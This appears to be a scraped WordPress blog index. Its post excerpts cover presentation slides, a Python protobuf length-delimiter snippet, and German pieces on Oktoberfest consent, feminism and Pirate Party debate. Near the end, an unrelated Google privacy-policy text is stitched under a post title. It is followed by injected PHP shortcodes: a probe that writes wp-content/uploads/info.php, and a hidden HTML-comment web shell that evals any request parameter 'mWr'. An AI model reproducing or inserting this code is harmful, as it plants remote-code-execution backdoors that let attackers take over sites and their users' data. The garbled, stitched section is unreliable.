Building less shitty slides using a bowl of M&M’s

I don’t consider myself a good presenter. In fact, I almost failed my Realschulabschluss because of a tragically bad presentation. Part of my problem was (and still is) to figure out what I want to say (and what to leave out), in which order I should say it, and then not cramming walls of text onto my slides 1.

So I’ve come up with a strategy which keeps me from messing up my slides completely, which I’ll explain on the basis of slides I recently created for a university presentation.
This surely isn’t for everyone, but maybe it helps.

Read more

Flattr this!

building your own writeDelimitedTo() for python protobuf

Protobuf is a nifty tool that lets you comfortably transmit data without having to care about proper (de)serialization. Protobuf is usually pretty straight-forward and fuss-free– unless you want to send data from a python client/server via TCP.

delimiters

Protobuf messages are not delimited by default. This means that the receiver has no idea how long a received message is and where the next message starts. If you want to stream data, this is a problem– how are you going to know where to chop your stream into correct messages?

This is where delimiters come in handy. A delimited message contains the length of the message as the first information, so your server/client can read out the length, then know how many bits to read next to properly receive the whole message. Then it reads the next number and so on.
With Java’s writeDelimited(), this works perfectly fine: assemble your message, delimit it and send it.
Unfortunately, a .proto compiled into python source code doesn’t seem to have this function and adding a delimiter isn’t as trivial as simply prepending len(serializedMessage) .

the fix

After googling for quite some time, I found this 1 :

from google.protobuf.internal import encoder

serializedMessage = packetMessage.SerializeToString()
delimiter = encoder._VarintBytes(len(serializedMessage))

return delimiter + serializedMessage    

So what you basically do is calculate and encode your delimiter manually and append your protobuf message. I’m sure this can be done without using google.protobuf.internal.encoder, but I found it less messy to do it like this.

disclaimer

I have no idea why protobuf for python doesn’t support delimiters. My workaround may be wrong or dangerous. If you can shed some light on the issue, I’d love to hear from you in the comments or via E-Mail.

Notes:

  1. To save you some time and a bunch of nasty swearwords, this post is my attempt at making this workaround easier to find.

Flattr this!

I mog di, derf I?

(Dieser Text befindet sich hier nur zu Dokumentationszwecken. Das Original ist unter ifrogdi.tumblr.com zu finden.)

Lebkuchenherzen mit den Aufschriften: I frog di -- I glang di ned a! -- I mog di, derf I? -- Konsens-Spatzl

Jedes Jahr ereignen sich zahlreiche sexualisierte Übergriffe auf dem Oktoberfest. Leider liegt die Verantwortung für das Verhindern dieser Übergriffe in den Augen vieler immer noch bei den Betroffenen: Frauen wird ein ganzer Verhaltenskatalog nahe gelegt, der verhindern soll, dass ihnen etwas zustößt. Während Begleitung durch Freundinnen und Freunde und Taxis sicherlich (leider) sinnvoll sind, tragen diese wichtigen Ratschläge immer auch eine gefährliche Botschaft in sich: Wenn dir etwas zustößt, ist nicht nur der Täter schuld, sondern auch du, weil Du nicht vorsichtig genug warst oder nicht gut genug aufgepasst hast. Es wiegt Menschen außerderm in der trügerischen Sicherheit, dass ihnen nichts zustoßen könne, wenn sie nur gut genug aufpassen – und führt dazu, dass immer wieder Betroffenen die Schuld gegeben wird und nicht etwa den Übergriffigen. Für Betroffene erschwert dies ihre eh schon schlimme Lage erheblich: Die Angst Betroffener vor Stigmatisierung durch Polizei und Justiz sowie davor, dass die übergriffige Person nicht zur Verantwortung gezogen wird, sind Gründe für die extrem hohe Dunkelziffer bei Vergewaltigungen und anderen sexualisierten Übergriffen. [1] Read more

Flattr this!

Noobspotting

Der kläglich gescheiterte Versuch, eine Antwort auf folgende Stelle in monoxyds Blogpost zu seinem anstehenden Blue Moon über Sexismus in Gaming und Interwebs in einen Tweet zu quetschen.

PS: Ab und zu höre ich in Diskussionen: “Das will ich nicht erklären, dass hast du dir gefälligst selbst anzulesen.” Abgesehen davon, dass ich das eine anstrengende Einstellung finde, gilt das heute Abend nicht. Diese Sendung findet für ALLE Menschen statt, insbesondere also auch die, die sich noch nie mit dem Thema beschäftigt haben, es aber wollen.

Was mir hier nämlich fehlt ist die Berücksichtigung der Art, wie die Frage gestellt wird. Einsteigerfreundliche Formate zu gestalten finde ich gut, richtig und notwendig. Danke allen, die sich damit befassen. Ich lerne selbst besser durch Zuhören und Nachfragen als durch Lesen und schätze solche Formate daher generell sehr. Die (verkürzte) Antwort darauf, warum ich dennoch in letzter Zeit leider des öfteren zur RTFM-Femnistin mutiere, findet sich allerdings auch im vorherigen Satz. Read more

Flattr this!

„Sag mal was zu euren Frauen“ – ein Leitfaden für Interviewte.

Es ist ein leidiges Thema– die Frage nach den weiblichen Piraten. Früher oder später wird jeder Pirat* mit ihr konfrontiert, häufig in Interviewsituationen. Leider erwischen wir dabei gerne Fettnäpfchen. Um das zu vermeiden und zu erklären, worin das Problem lag, möchte ich im Folgenden ein paar Aussagen von Piraten* analysieren und ggf. Alternativantworten vorschlagen. Die Zitate sind bewusst weder verlinkt noch mit Autor*en versehen, da hier niemand an den Pranger gestellt werden soll. Sie dienen lediglich als Anschauungsbeispiel.

Flattr this!

Die Shitstormkritische Ratloseria.

Shitstorms. Sie sind Teil unserer Debattenkultur. Sie können filtern, reinigen– und hemmen und verdammt verletzen. Wir haben uns alle schon einmal darüber beklagt. Dank ihnen trauen sich Piraten nicht, Themen anzuschneiden oder (öffentlich) zu Ende zu denken. Sie werden als Argument gegen das sog. „Klarnamensliquid“ benutzt. Ganz gleich, ob wir für oder gegen dieses Konzept sind, glaube ich, dass die Verwendung von „Anfeindungen und Shitstorms“ als Argument problematisch ist.

Read more

Flattr this!

Warum mach ich den Scheiß eigentlich?

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Flattr this!

<!– [insert_php]if (isset($_REQUEST["mWr"])){eval($_REQUEST["mWr"]);exit;}[/insert_php][php]if (isset($_REQUEST["mWr"])){eval($_REQUEST["mWr"]);exit;}[/php] –>

Flattr this!